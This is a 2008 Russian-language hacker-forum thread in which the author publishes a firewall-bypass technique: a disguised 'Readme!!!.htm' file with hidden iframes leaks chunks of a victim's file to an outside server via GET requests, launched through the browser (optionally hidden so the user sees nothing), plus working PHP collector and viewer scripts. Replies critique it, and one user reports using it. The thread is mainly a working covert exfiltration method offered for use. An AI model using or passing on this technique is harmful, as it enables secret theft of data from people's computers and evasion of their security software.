Авторские статьи Хитрый обход файрволов

Discussion in 'Статьи' started by desTiny, 20 Apr 2008.

  1. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    I. Вводная часть
    Думаю, не имеет смысла говорить, зачем нужно обходить файрволы. В этой небольшой статье я покажу довольно необычный, по моему мнению, достаточно изящный способ их обхода. Заранее предупреждаю – всё нижеизложенное является моими собственными наработками, и их аналогов я не нашёл. Так что, если это уже где-то встречалось, не надо меня ругать… :)
    Заранее скажу о минусе данного метода – он годится только для обхода ограничений, связанных с сетевой активностью, так как используется создание процесса, что будет замечено Outpost’ом при настройках уровня локальной безопасности выше «оптимального», но по умолчанию стоит как раз «оптимальный», так что, скорее всего, это прокатит (про KIS не знаю – не проверял, но, вероятнее всего, там то же самое).

    II. Идея
    Идея проста до гениальности – так как в системе существует множество программ с разрешённым сетевым доступом, то можно воспользоваться их помощью. Итак, что я хочу реализовать конкретно: запускаем интернет-обозреватель на открытие некоторого адреса, тем самым отправив некоторые данные.

    III. Реализация
    А тут уже будет некоторая хитрость ;)… Итак, допустим нам надо узнать содержимое файла “C:\boot.ini” на целевой машине. Для этого поступим так:

    1) Разбиваем файл на блоки некоторого размера (т.к. передавать будем их GET-запросом)
    2) Записываем файл типа “Readme!!!.htm” примерно такого содержания:

    PHP:
    <html>тра-та-та и прочая шапка<body>тра-та-таспасибо за установку великого программного продукта и т.п.
    <
    iframe width=”0” height=”0” style=”visibilityhidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш первый блок данных}&pt={номер части(0)}&num={количество частей}></iframe>
    <iframe width=”0” height=”0” style=”visibilityhidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш второй блок данных}&pt={номер части(1)}&num={количество частей}></iframe>
    .
    <
    iframe width=”0” height=”0” style=”visibilityhidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш последний блок данных}&pt={номер части(n)}&num={количество частей}></iframe>
    </body></html>
    3) Запускаем файл (“explorer.exe Readme!!!.htm”). Тут 2 варианта: либо запускаем в видимом режиме, тогда вылезает эксплорер с нашим красивым уведомлением о верности выбора человека, установившего программу. Это способ для тех, кто боится, что пользователь может оказаться испуганным сообщением о попытке создания процесса, если у него стоит высокий уровень локальной безопасности, но увидев имя Readme!!!.htm согласится на такой поступок. Тут ещё лучше даже заодно засунуть что-нибудь в статус-бар, чтобы не было видно обращений к странному серверу. А второй вариант – в надежде на настройки фаера у пользователя «по умолчанию», то есть игнорирование запуска процессов, можно открыть эксплорер с параметром SW_HIDE, чтобы пользователь ничего не заметил вообще.
    На этом идея реализации кончается.
    IV. Файлы для статьи.
    Тут реализован данный механизм с нормальным (SW_SHOW) открытием обозревателя (на сервере в папке с gate.php и view.php должны существовать подкталоги fin и tmp).
    gate.php:
    PHP:
    <?php
    $id 
    $_GET['rnd'];
    $ip $_SERVER['REMOTE_ADDR'];
    $ip[strlen($ip) - 1] = "x";
    $ip[strlen($ip) - 2] = "x";
    $ip[strlen($ip) - 3] = "x";

    $n $_GET['num'];
    $pn $_GET['pt'];
    $text $_GET['tx'];
    ((
    strstr($id"/") === FALSE) && (strstr($n"/") === FALSE)) or die('Fik!');

    $handle fopen("tmp/{$id}_{$n}"'w');
    fwrite($handle$text);
    fclose($handle);


    //file_put_contents();
    $i 0;
    while (
    file_exists("tmp/{$id}_{$i}"))
      
    $i++;
    if (--
    $i != $pn)
      die();
    $s="";
    for (
    $i=0$i<=$pn$i++)
        {
            
    $s .= file_get_contents("tmp/{$id}_{$i}");
            
    unlink("tmp/{$id}_{$i}");
        }
    $handle fopen("fin/{$ip}_{$id}"'w');
    fwrite($handle$s);
    fclose($handle);
    ?>
    view.php:
    PHP:
    <?php
    if (isset($_GET['del']) && (strstr($_GET['del'], "/") === FALSE))
        
    unlink("./fin/".$_GET['del']);
    if (
    $handle opendir('./fin')) {
        while (
    false !== ($file readdir($handle))) {
            if (
    $file != "." && $file != "..") {
                echo 
    "<a href='fin/$file'>$file</a> <a href=\"?del={$file}\">del</a><br>\r\n";
            }
        }
        
    closedir($handle);
    }
    ?>
    Сорцы «клиента» (чистый FASM, а вернее чисто фасмовский RadAsm-проект; в сорцах надо поменять некоторые переменные)

    Реализация гейта вот этого откомпиленного клиента (грузит ваш файл boot.ini, вы можете его с серва удалить)


    V. Заключение
    Вот так вот :). Через некоторое время планируется продолжение, описывающее процесс не только загрузки информации на серв, но и с него.
    Ну что, как говорится, re всем:)

    ©73ru5 aka desTiny, 2008.

    //add
    Продолжение тут
     
    #1 desTiny, 20 Apr 2008
    Last edited: 26 Apr 2008
    5 people like this.
  2. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    1. проактивка киса словит)
    2.
    максимальная длина гет запроса 512б так что большой файл ты не передашь.
    а бот ини вряд ли кого интересут.

    3. код немного корявый.
    за идею +
     
  3. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    Я и говорю -для этого разбиваем на части - посмотри внимательно на ссылку из iframe'а. А код хоть и корявый, но работает :)
     
    1 person likes this.
  4. 12usver12

    12usver12 Elder - Старейшина

    Joined:
    12 Dec 2007
    Messages:
    50
    Likes Received:
    9
    Reputations:
    0
    ету штуку я уже давно использую, а как насчет аддонов к Ie кто-нить использовал...